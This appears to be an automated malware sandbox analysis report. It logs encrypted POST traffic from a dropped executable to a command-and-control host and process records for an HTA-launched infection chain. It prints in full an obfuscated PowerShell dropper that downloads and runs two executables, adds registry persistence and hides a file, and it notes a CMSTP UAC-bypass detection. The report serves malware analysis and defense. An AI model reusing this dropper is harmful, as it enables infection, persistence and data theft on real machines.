                                                                                                                                                                  2024-12-07 14:44:45 UTC15331OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 0d d4 c9 1e 08 00 00 00 a7 00 00 00 f6 98 00 00 15 a6 9c 33 0f 0f 0f 0f 0f 0f 0f 0f 07 0f 0f 0f 28 8e 0f 2e 15 a6 9c 33 0f 0f 0f 0f 0f 0f 0f 0f 8a 3e 0f 0f af 99 09 07 55 0f 0f 1f 1f 0f 25 13 75 bd 45 04 e0 33 f0 f0 f0 f0 f0 f0 f0 f0 3b 0f 27 0f 81 eb cd cb cb c5 eb b7 c7 c5 e9 b7 89 a5 ab ad 93 99 a3 91 9d bf 53 db ef c1 0d 0f 2f 0f 0b 07 0f 0f 0f 0f 0f 0f 01 07 0f 0f 0f 0f 0f 0f 0d 0b 07 f4 f8 89 a5 ab ad 93 99 a3 91 9d bf 9f 89 8b ad a7 a9 bf ad a7 97 a3 83 a5 ad 93 bf ad 9f 9f 89 a1 bd a3 91 81 ad a5 83 a3 ab 91 a9 95 95 a5 91 93 8d a5 99 a5 a3 85 97 bb a1 8d 95 ad 81 8d 81 bd 85 83 95 a1 8b 95 a5 a3 99 8b 8d bb 89 9b 8d a9 87 81 a3 a7 93 83 a9 9f bf 9f 8d af 99 85 91 a1 ab 85 8d 97 a9 bd 87 95
                                                                                                                                                                  Data Ascii: 3(.3>U%uE3;'S/
                                                                                                                                                                  2024-12-07 14:44:45 UTC15331OUTData Raw: bd 9f a5 a3 a7 83 81 bf ad a7 81 af ad 8b a1 bb ad a7 a3 83 bf bb 83 a5 a3 ad 85 ab ad bb 9b 89 bd bd af 83 8b bd 91 93 8d a3 83 87 91 97 a7 93 ab 81 a1 ad bd 81 a9 bd a1 89 a1 a5 a1 ab 85 a7 9b bb 81 a3 9b 95 85 83 ad a7 bd af 91 97 91 93 a3 bb 83 ab 85 a3 91 ab 95 8b ad 9b 91 89 97 91 8d 97 89 9b 9f 9f 89 9f ad a9 9f 99 97 a5 93 8b 9d ab 9f ab 8b a9 ad a9 95 85 ab 97 99 99 83 a7 81 9f a5 ad 99 ab af 83 9d 9d 85 97 bb bb a3 bf bb a3 93 9f 89 9d ad bd bd bf 93 95 9b 93 a9 91 bb 91 9d ab 81 81 9b 99 a5 a1 bf 93 89 a1 a9 93 89 83 95 81 ad 9d ad a3 93 99 a3 9d 81 ab 89 97 a9 87 a1 ad af 85 87 97 a9 97 a7 81 8b ab bf ab a7 95 81 83 a1 bd ad a9 89 97 93 a5 bb 87 93 9b 97 af a5 bf 8b 85 9d bf af 8d 8d bd a1 83 bd 81 a1 99 8d 15 1b af 99 09 07 55 0f 0f 1f 1f 0f
                                                                                                                                                                  Data Ascii: U
                                                                                                                                                                  2024-12-07 14:44:45 UTC8555OUTData Raw: 9b 8d af ad ad a1 87 ad ad 85 87 87 99 93 9f a3 9b ab ad 9b a7 99 89 a5 8d 87 91 ab a1 ab 85 85 87 bd a7 a3 83 8d 91 a1 9f af 93 bf a1 a9 93 8d 9b 89 a3 bf 89 97 97 a7 93 ad af 95 9b ad 9f 87 9d 97 83 93 ad a5 bb 9b bb bb 9b 9b 95 95 93 87 93 81 85 8b 85 81 a9 a7 a3 8d 81 bb 9b 95 a9 95 bb 9f a1 9b 99 93 9d 8d 83 81 8b a5 bd 95 a3 8d 87 99 89 a3 97 87 81 83 ad 85 a7 a5 bb bf 81 a5 91 a5 a1 bf 8b 8b af 93 91 a1 83 85 ab 99 95 99 95 af 91 bf 9d 91 a7 99 9b 85 ab af a3 bf 9b 81 89 9d a5 99 8d 81 87 81 9d a7 97 83 bd ab 9d 8b 8d af 99 ab 85 a9 95 93 91 95 a7 a3 a7 bb 89 bf 95 91 87 a5 a5 9d 81 83 95 85 95 8b 95 81 8d 81 bf 83 bb 81 8d 8d bb 83 89 bf 87 a1 8b 99 99 89 af a5 99 83 83 93 95 a3 99 87 83 83 a3 bb bd a1 99 85 99 8b a1 95 8d 87 a1 87 bb bf a5 9d 91
                                                                                                                                                                  Data Ascii:
                                                                                                                                                                  2024-12-07 14:44:45 UTC805INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:45 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LitsYDA%2BkGLZlJNr6VQRGgvRekqrHYp1hHhnya%2F5yjoBJyhQyO0WVmX2Y%2BclMh4gy8QTtzKtMkTkFy3SN%2FYoKuU0Hq9E08eBHFKJ31y%2FMxblTfkWDJU7iKTLQ402yxFfCRAjmA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54ba71bb63300-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1808&rtt_var=708&sent=25&recv=46&lost=0&retrans=0&sent_bytes=2841&recv_bytes=40359&delivery_rate=1512169&cwnd=232&unsent_bytes=0&cid=3f6b918514539bc9&ts=812&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  10192.168.2.449828104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:47 UTC396OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 99897
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:47 UTC15331OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 01 06 1f 7e 13 08 00 00 00 a7 00 00 00 fe 85 01 00 03 31 f3 29 0f 0f 0f 0f 0f 0f 0f 0f 6b 11 0f 0f 38 8e 42 6b 7f 61 67 6f 6f 44 db d1 d3 c5 e9 28 1b 0f 94 9b c5 2c 2a 94 05 0f 94 07 0f 90 0f 0f 0f 0d f0 e6 0f 0f bc 43 9d d3 e7 c5 d7 5f ab 5d 4f 89 d1 eb c5 5f a7 95 5d 6b 4f 89 af a5 4f 63 63 6f 6f 4f 8f 4f 6b 53 67 6f 4f 81 9f fb 2c 70 95 dd c9 eb d1 e9 d1 c3 e7 4f 8b cd e9 dd c9 4f 87 dd e9 ef d7 cd fd 4f 8d c7 cd ef e7 c5 eb 8e 88 b6 0f 60 4e 42 a9 fd e9 e7 c5 d5 5e ab c5 c1 dd e9 e7 eb fd 5e e9 d5 e9 e9 53 c5 ff c5 5c c9 e9 eb e9 e9 53 c5 ff c5 58 e1 dd d3 dd d3 dd e7 53 c5 ff c5 5c c9 e9 eb e9 e9 53 c5 ff c5 56 e1 dd d3 d7 d1 c1 d1 d3 53 c5 ff c5 56 e9 c5 eb e3 dd c9 c5 e9 53 c5 ff c5 5c d7 e9 cd
                                                                                                                                                                  Data Ascii: ~1)k8BkagooD(,*C_]O_]kOOccooOOkSgoO,pOOO`NB^^S\SXS\SVSVS\
                                                                                                                                                                  2024-12-07 14:44:47 UTC15331OUTData Raw: 39 ad 9e 58 bf d2 3e 97 b9 fa 26 a8 0d 7d 83 29 65 6b af 23 72 92 17 40 49 1e bd 9b 1a 9a 8f 03 ce 06 51 8e be 55 a4 3d 2f 1e 72 b5 67 89 e5 7b 6d 8f c8 e0 4e 7b bb c9 8f 80 31 26 12 b9 82 85 55 05 6f 64 28 45 84 44 66 8d 39 4d ab 08 48 0d 26 ba f5 1d 40 7e 39 8b b9 5b a3 a2 59 df 1e 68 1a b0 9a 00 60 62 bf 3d ee 82 05 3e f3 df 17 21 cc 1c f4 f3 45 c3 71 f8 9b 77 75 73 4c 3d 99 30 d5 05 90 07 c1 11 b7 24 06 90 16 83 a5 76 90 f3 5a 76 30 b8 56 83 15 ef 6c 63 4f ab a4 9e bf f2 c7 29 0e bf 45 7c c7 29 ce 2c 59 97 0f 3b 6f 4f 1f 15 88 45 c8 ae 8e 49 6f 23 68 4b 91 12 18 5a ee 96 1d 4e 26 95 ef 80 d8 45 af d5 bc c5 22 2b 0e 78 75 ac 81 67 78 85 3d 58 3c c5 07 ce d2 87 e6 2d 94 d3 9c 99 d4 d5 38 71 07 0e c9 fc 25 b8 22 b3 e9 79 b9 51 68 43 1f d3 3d 34 65 56 36
                                                                                                                                                                  Data Ascii: 9X>&})ek#r@IQU=/rg{mN{1&Uod(EDf9MH&@~9[Yh`b=>!EqwusL=0$vZv0VlcO)E|),Y;oOEIo#hKZN&E"+xugx=X<-8q%"yQhC=4eV6
                                                                                                                                                                  2024-12-07 14:44:47 UTC15331OUTData Raw: 32 c0 93 39 40 74 1e 7b 91 5a 17 a5 7c 61 1c d3 d4 1c f5 30 cd e7 89 6d 9e 7f 36 7b 68 ea f2 5e c7 9f b1 a2 4d a9 bb 14 e7 f6 24 1d cd 3e 09 68 18 66 3b 4e 00 46 a9 f7 3f 2e 39 46 ea b8 81 90 91 34 f3 df 96 b6 c1 48 fd 54 6f e0 80 21 f6 19 b6 ae af 50 f1 da e4 90 15 e2 2c 6f 34 36 37 0b cf e8 58 f8 ad 86 e8 96 dd ad d8 09 52 ee f7 78 a8 fe 1c c9 78 d0 54 d2 bf 85 92 ac ea fa a3 2c 8b f8 ef 24 97 3f dc 68 b4 67 c3 8f e2 e7 71 31 7d d2 d9 aa 14 a9 05 41 63 27 96 da a3 af b4 09 d8 6d b1 d0 92 e2 40 09 14 58 a2 16 a1 a8 b2 10 d5 c1 0a ad 43 6e a4 39 bf 64 bc 6f 30 f0 ae 22 54 f6 49 55 ca 14 9e 41 79 ae ba 3b aa f4 2d 45 e3 14 ea 0e 20 59 a1 a5 4e c5 5c ea 6f f8 68 a0 36 f4 59 61 f8 33 a9 88 02 c0 24 4c f4 75 8b 41 50 46 ff 70 70 82 93 f5 c1 cd 5e 68 2d ad a7
                                                                                                                                                                  Data Ascii: 29@t{Z|a0m6{h^M$>hf;NF?.9F4HTo!P,o467XRxxT,$?hgq1}Ac'm@XCn9do0"TIUAy;-E YN\oh6Ya3$LuAPFpp^h-
                                                                                                                                                                  2024-12-07 14:44:47 UTC15331OUTData Raw: 92 ab 51 94 3f f6 28 bb b7 b7 7c 32 f7 ff a7 e2 5d dd a1 8c 2c 84 de 61 b8 66 87 f2 ed ee 28 d4 e2 b4 92 9e 4b 81 fc d1 f4 b8 c9 e6 95 77 cc ae e1 d5 0c b9 60 e7 2b 26 df a5 6d 60 9f 5d f1 f5 c4 66 5c e1 41 bc 39 55 a6 36 d8 65 3e d8 6e a1 11 70 21 41 2d 28 98 e3 30 7e f1 1e d2 a1 bf 10 68 46 07 30 ec 02 18 ae 50 dd 1a dd de 06 c1 c7 5c 29 30 f4 ef d9 93 cf 79 b4 8d f2 ea 57 17 46 89 c7 73 e2 71 c0 37 78 72 6e cb f9 a3 a3 d0 6d 64 7e ed 24 01 d7 74 62 45 fb 6d 97 e6 36 91 0a 1d 8e 5b b4 56 15 26 e1 47 0a 99 95 fb a6 ec ef 91 fc c0 58 43 73 3b be 3f a2 4b 41 d6 4c 0c 28 09 d8 be 9b b3 40 94 92 64 81 14 c9 24 f3 76 a0 46 76 ab f6 2a 63 5e b8 72 a5 95 1f f9 99 3c 58 05 00 ac e9 5d 5d 74 ea 53 ad a6 31 7f ce 5c 3f c4 3f ba d0 bc ed 68 3d a2 36 36 a3 57 35 30
                                                                                                                                                                  Data Ascii: Q?(|2],af(Kw`+&m`]f\A9U6e>np!A-(0~hF0P\)0yWFsq7xrnmd~$tbEm6[V&GXCs;?KAL(@d$vFv*c^r<X]]tS1\??h=66W50
                                                                                                                                                                  2024-12-07 14:44:47 UTC15331OUTData Raw: 03 11 05 6c c1 d0 c9 dc 1d 8e 0d 0a 64 c3 d5 3b 39 ec 1f 9d b3 15 54 1f 88 6a c1 e1 fa df 36 ca e2 e8 ca b7 c4 b9 58 e0 4c 3d 2f 31 66 e2 df 96 a0 49 96 a2 1a 7a 1a 55 3e b7 14 5d 31 98 32 74 18 47 fa c8 03 00 75 f9 f4 27 e0 bb 22 0f 86 f6 3e 7d be 36 7d 44 35 e9 ee 8d 15 73 79 20 99 5d cc 3c 45 0f c0 4c 51 1f 8f 5c 01 0d 3f 9f 5a 20 3a 80 70 c8 3c 75 d1 e0 60 d1 59 74 fe cb ec d3 a1 93 f9 63 fa 1e d3 64 79 63 25 79 20 e4 50 6d d3 46 4f 2b a3 cb 5a d2 34 d9 42 0f 97 ed 0f ea 01 54 86 21 f7 98 b1 a3 7b de d8 2f ec b1 2f ac 99 ac 32 8b d1 ea b0 27 ac 21 a5 69 fe d9 d6 a4 0c e9 3a d4 c4 d3 f4 19 24 57 29 2e ba 29 89 0f 6f 75 fe 29 76 79 42 c8 98 69 7c 24 00 07 4e 1d 24 cc 90 c3 f6 80 f1 c8 9a ee 18 02 fc f0 1c bd 5d 69 47 3a c9 8b 7b a7 fa 03 ea 92 e0 fb 47
                                                                                                                                                                  Data Ascii: ld;9Tj6XL=/1fIzU>]12tGu'">}6}D5sy ]<ELQ\?Z :p<u`Ytcdyc%y PmFO+Z4BT!{//2'!i:$W).)ou)vyBi|$N$]iG:{G
                                                                                                                                                                  2024-12-07 14:44:47 UTC15331OUTData Raw: 58 f2 05 4b f0 98 c7 40 6e 03 49 72 45 75 5e 6e 03 49 42 46 72 26 e1 92 d5 47 72 6d fe 20 54 85 5f 77 a8 63 60 2d 87 e5 7c db 21 a3 7c a7 c5 f3 69 5e 2e d5 e5 fc 43 c6 8b 3d a4 32 0e 2b 3f 51 79 72 27 24 6e 5a 7a 43 11 53 42 75 41 a4 5f 25 3c d0 f6 a8 3c c9 67 a4 47 bf 25 a2 f4 fc a3 71 67 0c 2d b7 a8 2a 1a d6 9f 85 b3 5b 91 c1 71 04 0c 8b f0 4a 56 53 cd 9b 86 66 20 79 0f db 53 6b 67 c4 c0 ae cf 05 97 62 55 06 3a 30 18 3e 1b e0 4b bf a5 8d 33 1d d2 05 0d 1d 4c 9d 6c 2c 46 27 df ef 51 1e 9b 15 17 95 4e 43 c5 30 99 1a 7d 39 2f 0a af e8 28 05 02 c8 f5 ef 60 ba 4d 3e 71 cf fa 21 6d f8 bf df df ce 01 ee 3a 6a 35 47 8b 09 80 db 19 d5 47 c5 11 a1 ac 27 df c6 62 04 2e 21 e9 78 5a 58 ff c1 29 c9 bc 79 e8 f5 97 33 4c a6 5f d1 8d d1 8a 7e 2c 2c c7 9f 0f f9 0d 0c af
                                                                                                                                                                  Data Ascii: XK@nIrEu^nIBFr&Grm T_wc`-|!|i^.C=2+?Qyr'$nZzCSBuA_%<<gG%qg-*[qJVSf ySkgbU:0>K3Ll,F'QNC0}9/(`M>q!m:j5GG'b.!xZX)y3L_~,,
                                                                                                                                                                  2024-12-07 14:44:47 UTC7911OUTData Raw: 8d 3f b4 69 ab 2f b7 32 c4 8c 00 b0 e4 05 0b 38 91 70 17 d0 38 a2 b8 53 73 89 90 30 bd e4 9c 1c 2f 6c b9 4b 28 fc cb 08 08 00 87 57 a2 bb 60 14 40 97 95 94 d4 13 30 53 22 44 52 da 2a 17 e2 84 5a 07 4d cb 62 26 fd 14 90 59 62 7b a9 84 84 20 98 e3 67 10 4b 37 44 64 18 66 6d 80 b0 9f b0 a7 80 98 f7 12 d3 70 ed d0 d4 78 7e 27 99 dd 01 43 c0 13 6b b2 72 86 7c 9f a1 44 34 b8 9c 92 60 71 bf 21 ba 15 33 f9 d7 77 8e a2 a6 b2 fc fb e5 6c 62 02 aa 8b 8b 8a 5b 63 38 95 de d8 a8 e3 94 b1 33 02 aa 7d df ee 80 78 ce 37 66 76 51 e5 dc 60 1d c8 ca 36 06 66 e8 7b 6b ec 96 f8 53 6a 1d b5 95 c7 71 e3 d1 a1 10 4b 8e f4 d6 b7 d0 b7 05 9a d2 03 4e ff e0 19 b4 a9 5b fb c5 70 58 87 57 92 3c 7d 37 b3 5d 4b 0f 55 c2 93 07 8f 3a d8 0a d1 ec e8 c0 b3 79 c4 1d fe ab 0a 45 62 bb 82 d2
                                                                                                                                                                  Data Ascii: ?i/28p8Ss0/lK(W`@0S"DR*ZMb&Yb{ gK7Ddfmpx~'Ckr|D4`q!3wlb[c83}x7fvQ`6f{kSjqKN[pXW<}7]KU:yEb
                                                                                                                                                                  2024-12-07 14:44:48 UTC804INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:48 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1U%2FuktiHGMhs5Lv5RrWs9w8eu4eghH8QNPszkVOiyUMfufAJd548Fr2U%2FS11Xicxe8ETWe4Wrjej0Iv03j9fiDaIRDmJ5LGCK47874581UY1x5M31sXB8esmb%2BFJCZz1UdgpTw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54bb4dedeefa9-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1803&rtt_var=689&sent=59&recv=111&lost=0&retrans=0&sent_bytes=2841&recv_bytes=101193&delivery_rate=1572428&cwnd=127&unsent_bytes=0&cid=9f0679d498fa5dba&ts=1476&x=0"


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  11192.168.2.449834104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:50 UTC393OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 35
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:50 UTC35OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 02 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                                                                                                                                                  Data Ascii:
                                                                                                                                                                  2024-12-07 14:44:50 UTC734INHTTP/1.1 204 No Content
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:50 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xxdt9AcyW%2Bm6YwQ5G26g%2FPrOnV2owI4M0T3MH%2BZVsL5TgPaXVtlQxEZt22bZnL09vqeHgQPPWuYcydO0O9EEE7xpF4tYMFeENv5FNT7OsfSfD32EYPVaxtm9hQBT0gGpuJyhzQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54bc6acc4429e-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1749&rtt_var=673&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1064&delivery_rate=1669525&cwnd=204&unsent_bytes=0&cid=cb901fbcf5546226&ts=631&x=0"


                                                                                                                                                                  Statistics

                                                                                                                                                                  CPU Usage

                                                                                                                                                                  Click to jump to process

                                                                                                                                                                  Memory Usage

                                                                                                                                                                  Click to jump to process

                                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                                  Behavior

                                                                                                                                                                  Click to jump to process

                                                                                                                                                                  System Behavior

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:0
                                                                                                                                                                  Start time:09:43:09
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:mshta.exe "C:\Users\user\Desktop\upgrade.hta"
                                                                                                                                                                  Imagebase:0x150000
                                                                                                                                                                  File size:13'312 bytes
                                                                                                                                                                  MD5 hash:06B02D5C097C7DB1F109749C45F3F505
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:1
                                                                                                                                                                  Start time:09:43:09
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;
                                                                                                                                                                  Imagebase:0x5e0000
                                                                                                                                                                  File size:433'152 bytes
                                                                                                                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:2
                                                                                                                                                                  Start time:09:43:09
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:3
                                                                                                                                                                  Start time:09:43:25
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Roaming\KNVYINNN.exe"
                                                                                                                                                                  Imagebase:0x7ff7b1dd0000
                                                                                                                                                                  File size:6'354'975 bytes
                                                                                                                                                                  MD5 hash:E06AFCDB16D22BD45BC3A5B01C96DA3A
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 62%, ReversingLabs
                                                                                                                                                                  Reputation:low
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:4
                                                                                                                                                                  Start time:09:43:26
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\pyexec.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Users\user\pyexec.exe"
                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                  File size:29'152 bytes
                                                                                                                                                                  MD5 hash:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.1900009727.00000000035C6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                  Reputation:low
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:6
                                                                                                                                                                  Start time:09:43:31
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                  File size:29'152 bytes
                                                                                                                                                                  MD5 hash:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.2004201753.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                  Reputation:low
                                                                                                                                                                  Has exited:true
